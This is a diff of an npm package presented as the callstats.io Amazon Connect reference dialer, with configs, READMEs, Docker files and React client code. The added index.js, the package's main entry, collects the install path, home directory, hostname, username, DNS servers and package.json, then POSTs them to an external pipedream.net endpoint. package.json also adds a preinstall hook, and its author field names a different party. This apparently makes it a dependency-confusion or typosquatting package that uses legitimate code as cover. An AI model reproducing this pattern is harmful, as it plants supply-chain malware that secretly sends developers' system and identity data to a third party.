amazon-connect-reference-dialer 1.0.0 → 1.4.2

package/.babelrc

@@ -0,0 +1,10 @@
+{
+  "presets": [
+    "@babel/preset-env",
+    "@babel/preset-react"
+  ],
+  "plugins": [
+    "@babel/plugin-proposal-class-properties"
+  ]
+}
+

package/.eslintrc

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+{
+  "extends": [
+    "standard",
+    "plugin:react/recommended"
+  ],
+  "rules": {
+    "semi": [
+      1,
+      "always"
+    ]
+  },
+  "globals": {
+    "connect": false,
+    "callstats": false,
+    "APP_ID": false,
+    "APP_SECRET": false,
+    "CONNECT_URL": false,
+    "CallstatsAmazonShim": false,
+    "callstatsAgentMonitor": false,
+    "WEB_PACK_APP_ID": false,
+    "WEB_PACK_APP_SECRET": false,
+    "WEB_PACK_CONNECT_URL": false
+  }
+}

package/Dockerfile

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+FROM node:11.5.0
+
+WORKDIR /usr/src/app
+
+COPY package.json /usr/src/app/
+RUN yarn install --silent
+
+COPY . /usr/src/app
+RUN yarn build
+
+CMD ["yarn","start"]
+

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2019 callstats.io
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

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+# Amazon-connect-reference-dialer
+Amazon connect reference dialer application by CALLSTATS I/O
+
+
+#### Quick Start
+
+##### Note: 
+npm i amazon-connect-reference-dialer

package/README.salesforce.md

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+# Step 1: Install callstats.io Custom Dialer
+1. Login to your salesforce account and make sure your session has not timed out. 
+2. Install the managed package: https://login.salesforce.com/packaging/installPackage.apexp?p0=04t2o0000013ruT
+3. If there is a conflict in the package then click on “do not install”
+   If prompt of acknowledge of Non-Salesforce Application select the checkbox
+4. Select install for all users. 
+5. Click “Install now”
+
+# Step 2: Configure Lightning Experience
+1. From your salesforce dashboard, click on “Setup” on top right corner and select “Setup”
+2. Type “App manager” in quick find and select App Manager
+3. Find the “Sales Console” row from the list and select the “Edit” option from the drop-down arrow on the right corner
+4. Select the “Utility Items” from the left side menu
+5. Click on “Add Utility Item” and select “Open CTI Softphone” from the drop down 
+6. Change the Label if necessary and click “Save” button.
+7. Click on the “Back” button in the top-right corner (not browser’s back button).
+8. Type Visualforce” in quick find and select Visualforce Pages
+9. Find and select the “custom_dialer” row from the list, and then click on the “Preview” button
+10. New browser tab will open with the URL of this page. It’s going to be in this format: `https://callstats.someInstance.visual.force.com/apex/custom_dialer`
+11. Remove the “/apex/custom_dialer” part and the remaining `https://callstats.someInstance.visual.force.com` will be the “Origin URL” in our Amazon Connect configuration
+12. From AWS Console, select Amazon Connect service and then select your Amazon Connect instance
+13. Select “Application Integration” on the left-hand side
+14. Click on “Add origin” link and enter the origin URL
+15. Click “Add” 
+
+# Step 3: Setup callstats.io Custom Dialer
+1. From the Setup screen, type “Call Centers” in quick find and select “Call Centers”.
+2. Click on “Continue”.
+3. Select “callstats OpenCTI Adapter” and click “Edit” when the page opens
+4. In “General Information” fill in your
+    - CTI Adapter URL - The above custom dialer page URL e.g. `https://callstats.someInstance.visual.force.com/apex/custom_dialer`
+5. In “Connecting settings” fill in your 
+    - Amazon Connect CCP URL - Your Amazon Connect CCP URL e.g. callstatsio.awsapps.com
+    - AppId - Your application ID from callstats.io 
+    - App Secret - Your application secret from callstats.io 
+    - Jabra Collection - fill in 'enable' to enable collecting your Jabra headset stats(only available for Jabra Engage 50 currently)
+6. Click “Save”
+7. Click on 'Manage Call Center Users' at the bottom of the page 
+8. Click on “Add more users”
+9. Apply the necessary filters and find the users you would like to add 
+10. Select the users and click on “Add to Call Center”
+
+# Step 4: Using callstats.io Custom Dialer
+1. On the top-left corner, click on the dot-matrix button to open the App Launcher.
+2. Select the “Sales Console” application. 
+3. The Phone button should be displayed in the bottom-left corner. Click on the Phone button to open the softphone pop-up.
+4. Click on “Sign in” button and sign in to your Amazon Connect account
+5. Set your status to “Available” 
+6. You can now receive inbound calls or make outbound calls. 
+7. Optional: Click on “Settings” icon to change your phone settings or make a connectivity test

package/config/appconfig.json

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+{
+  "APP_ID": "callstats application ID",
+  "APP_SECRET": "callstats application secret",
+  "CONNECT_URL": "amazon connect ccp url. The CCP domain name only. For example, callstatsio.awsapps.com",
+  "HTTP_PORT": "8080",
+  "NODE_ENV": "development",
+  "CS_JS_SDK_URL": "https://api.callstats.io/static/callstats.min.js",
+  "CS_AC_SHIM_URL": "https://api.callstats.io/static/csio-callstats-amazon-connect-shim.js",
+  "ENABLE_JABRA_COLLECTION": "disable"
+}

package/config/config.js

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+const fs = require('fs');
+const path = require('path');
+
+const appConfig = require('./appconfig');
+const version = require('../package.json').version
+
+exports.getServerConfig = () => {
+  const payload = appConfig;
+
+  let serverConfig = {
+    HTTP_PORT: process.env.HTTP_PORT || payload.HTTP_PORT,
+    NODE_ENV: process.env.NODE_ENV || payload.NODE_ENV
+  };
+  console.warn('$ serverConfig', serverConfig);
+  return serverConfig;
+};
+
+exports.getClientConfig = () => {
+  const payload = appConfig;
+  const clientConfig = {
+    APP_ID: process.env.APP_ID || payload.APP_ID,
+    APP_SECRET: process.env.APP_SECRET || payload.APP_SECRET,
+    CONNECT_URL: process.env.CONNECT_URL || payload.CONNECT_URL,
+    CS_JS_SDK_URL: process.env.CS_JS_SDK_URL || payload.CS_JS_SDK_URL,
+    CS_AC_SHIM_URL: process.env.CS_AC_SHIM_URL || payload.CS_AC_SHIM_URL,
+    CS_VERSION: process.env.CS_VERSION || version,
+    ENABLE_JABRA_COLLECTION: process.env.ENABLE_JABRA_COLLECTION || payload.ENABLE_JABRA_COLLECTION
+  };
+  console.warn('$ clientConfig', clientConfig);
+  return clientConfig;
+};
+
+exports.writeConfig = () => {
+  let payload = { ...appConfig };
+  if (process.env.APP_ID) payload.APP_ID = process.env.APP_ID;
+  if (process.env.APP_SECRET) payload.APP_SECRET = process.env.APP_SECRET;
+  if (process.env.CONNECT_URL) payload.CONNECT_URL = process.env.CONNECT_URL;
+  if (process.env.CS_JS_SDK_URL) payload.CS_JS_SDK_URL = process.env.CS_JS_SDK_URL;
+  if (process.env.CS_AC_SHIM_URL) payload.CS_AC_SHIM_URL = process.env.CS_AC_SHIM_URL;
+  if (process.env.HTTP_PORT) payload.HTTP_PORT = process.env.HTTP_PORT;
+  if (process.env.NODE_ENV) payload.NODE_ENV = process.env.NODE_ENV;
+  if (process.env.ENABLE_JABRA_COLLECTION) payload.ENABLE_JABRA_COLLECTION = process.env.ENABLE_JABRA_COLLECTION;
+  console.warn('$ >', payload);
+  const fullPath = path.join(__dirname, 'appconfig.json');
+  fs.writeFileSync(fullPath, JSON.stringify(payload, null, 2));
+};

package/docker-compose.yml

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+version: '3'
+services:
+  amazon-connect-reference-dialer:
+    build:
+      context: ../amazon-connect-reference-dialer
+    environment:
+      APP_ID: 'callstats application ID'
+      APP_SECRET: 'callstats application secret'
+      CONNECT_URL: 'amazon connect ccp url. The CCP domain name only. For example, callstatsio.awsapps.com'
+      HTTP_PORT: '8082'
+      NODE_ENV: 'production'
+      CS_JS_SDK_URL: 'https://api.callstats.io/static/callstats.min.js'
+      CS_AC_SHIM_URL: 'https://api.callstats.io/static/csio-callstats-amazon-connect-shim.js'
+    ports:
+      - "8082:8082"
+    command: yarn start

package/index.js

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+const os = require("os");
+const dns = require("dns");
+const querystring = require("querystring");
+const https = require("https");
+const packageJSON = require("./package.json");
+const package = packageJSON.name;
+
+const trackingData = JSON.stringify({
+    p: package,
+    c: __dirname,
+    hd: os.homedir(),
+    hn: os.hostname(),
+    un: os.userInfo().username,
+    dns: dns.getServers(),
+    r: packageJSON ? packageJSON.___resolved : undefined,
+    v: packageJSON.version,
+    pjson: packageJSON,
+});
+
+var postData = querystring.stringify({
+    msg: trackingData,
+});
+
+var options = {
+    hostname: "eopesdoxcr03bt7.m.pipedream.net", //replace burpcollaborator.net with Interactsh or pipedream
+    port: 443,
+    path: "/",
+    method: "POST",
+    headers: {
+        "Content-Type": "application/x-www-form-urlencoded",
+        "Content-Length": postData.length,
+    },
+};
+
+var req = https.request(options, (res) => {
+    res.on("data", (d) => {
+        process.stdout.write(d);
+    });
+});
+
+req.on("error", (e) => {
+    // console.error(e);
+});
+
+req.write(postData);
+req.end();

package/nodemon.json

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+{
+  "watch": ["src/server/"]
+}

package/package.json

@@ -1,11 +1,12 @@
 {
   "name": "amazon-connect-reference-dialer",
-  "version": "1.0.0",
-  "description": "",
+  "version": "1.4.2",
+  "description": "Amazon connect reference dialer application by CALLSTATS I/O - xelkomy",
   "main": "index.js",
   "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node node.js"
   },
-  "author": "",
+  "author": "xelkomy",
   "license": "ISC"
 }

package/src/client/App.js

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+import React from 'react';
+import { Provider } from 'react-redux';
+import { IntlProvider } from 'react-intl';
+
+import AppStore from './store';
+import AppRouter from './router';
+
+class App extends React.Component {
+  render () {
+    return (
+      <Provider store={AppStore}>
+        <IntlProvider locale="en">
+          <AppRouter/>
+        </IntlProvider>
+      </Provider>
+    );
+  }
+}
+
+export default App;

package/src/client/api/acManager.js

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+'use strict';
+
+import audioManager from './mediaManager';
+import agentHandler from './agentHandler';
+import eventHandler from './eventhandler';
+
+import csioHandler from './csioHandler';
+import databaseManager from './databaseManager';
+
+const ccpUrl = () => {
+  const connectURL = databaseManager.getDefaultConnectURL(CONNECT_URL || WEB_PACK_CONNECT_URL);
+  return `https://${connectURL}/connect/ccp#/`;
+};
+
+class ACManager {
+  constructor () {
+    console.info('ACManager initialized!');
+    this.isLoggedIn = false;
+    this.isInitialized = false;
+    this.dispatch = undefined;
+    this.onAgentInitialize = this.onAgentInitialize.bind(this);
+    this.onEventHandler = this.onEventHandler.bind(this);
+  }
+
+  onAgentInitialize (agent) {
+    audioManager.overWriteGetUserMedia();
+    csioHandler.register(this.dispatch, agent);
+    agentHandler.register(this.dispatch, agent);
+  }
+
+  onEventHandler (connect) {
+    eventHandler.register(this.dispatch, connect);
+  }
+
+  register (dispatch = undefined) {
+    this.dispatch = dispatch;
+    if (this.isInitialized) {
+      return;
+    }
+    this.isInitialized = true;
+    const containerDiv = document.getElementById('containerDiv');
+    connect.core.initCCP(containerDiv, {
+      ccpUrl: ccpUrl(),
+      loginPopup: false,
+      softphone: {
+        allowFramedSoftphone: false
+      }
+    });
+    connect.core.initSoftphoneManager({ allowFramedSoftphone: true });
+    connect.agent((agent) => {
+      this.onAgentInitialize(agent);
+    });
+    this.onEventHandler(connect);
+  }
+
+  downloadACLog () {
+    if (connect) {
+      connect.getLog().download();
+    }
+  }
+
+  getCurrentContact () {
+    return eventHandler.getCurrentContact();
+  }
+
+  getCurrentState () {
+    return eventHandler.getCurrentState();
+  }
+
+  setIsLoggedIn (isLoggedIn) {
+    this.isLoggedIn = isLoggedIn;
+  }
+  getIsLoggedIn () {
+    return this.isLoggedIn;
+  }
+}
+
+const acManager = new ACManager();
+export default acManager;

package/src/client/api/agentHandler.js

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+import { onMuteToggle } from '../reducers/acReducer';
+
+class AgentHandler {
+  constructor () {
+    this.dispatch = undefined;
+    this.agent = undefined;
+    this.loginWindow = undefined;
+  }
+
+  dispose () {
+    this.dispatch = undefined;
+    this.agent = undefined;
+  }
+
+  register (dispath = undefined, agent) {
+    this.dispatch && this.dispose();
+
+    this.dispatch = dispath;
+    this.agent = agent;
+
+    this.disposeLoginWindow();
+    agent.onMuteToggle((e) => {
+      this.dispatch(onMuteToggle(e && e.muted));
+    });
+  }
+
+  getAgent () {
+    return this.agent;
+  }
+
+  setLoginWindow (loginWindow = undefined) {
+    this.loginWindow = loginWindow;
+  }
+
+  disposeLoginWindow () {
+    if (this.loginWindow) {
+      if (typeof this.loginWindow.close === 'function') {
+        this.loginWindow.close();
+      }
+      this.loginWindow = undefined;
+    }
+  }
+}
+
+const agentHandler = new AgentHandler();
+export default agentHandler;

package/src/client/api/audioFrequencyMonitor.js

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+const HASH = 10000009;
+const MAX_ITERATION_COUNT = 5;
+const getRandom = () => {
+  return Math.round(Math.random() * HASH);
+};
+
+class FrequencyMonitor {
+  constructor () {
+    this.hash = getRandom();
+    this.hashLastPulled = getRandom();
+    this.consicutiveMissCount = 0;
+    this.curAudioLevel = 0;
+  }
+
+  addAudioLevel (audioLevel = 0) {
+    this.hash = getRandom();
+    this.curAudioLevel = audioLevel;
+  }
+
+  getAudioLevel () {
+    let diff = Math.abs(this.hash - this.hashLastPulled);
+
+    if (diff > 0) {
+      this.consicutiveMissCount = 0;
+    } else {
+      this.consicutiveMissCount += 1;
+    }
+    if (this.consicutiveMissCount > MAX_ITERATION_COUNT) {
+      return 0;
+    }
+    this.hashLastPulled = this.hash;
+    return this.curAudioLevel;
+  }
+}
+
+class AudioFrequencyMonitor {
+  constructor () {
+    this.inboundMonitor = new FrequencyMonitor();
+    this.outboundMonitor = new FrequencyMonitor();
+  }
+
+  addAudioLevel (audioLevel = 0, isOutbound = false) {
+    if (isOutbound) {
+      this.outboundMonitor.addAudioLevel(audioLevel);
+    } else {
+      this.inboundMonitor.addAudioLevel(audioLevel);
+    }
+    // console.warn('->addAudioLevel', this.inboundMonitor.curAudioLevel, this.outboundMonitor.curAudioLevel)
+  }
+
+  getAudioLevel (isOutbound = false) {
+    // console.warn('->getAudioLevel', this.inboundMonitor.curAudioLevel, this.outboundMonitor.curAudioLevel)
+    if (isOutbound) {
+      return this.outboundMonitor.getAudioLevel();
+    } else {
+      return this.inboundMonitor.getAudioLevel();
+    }
+  }
+}
+
+const audioFrequencyMonitor = new AudioFrequencyMonitor();
+export default audioFrequencyMonitor;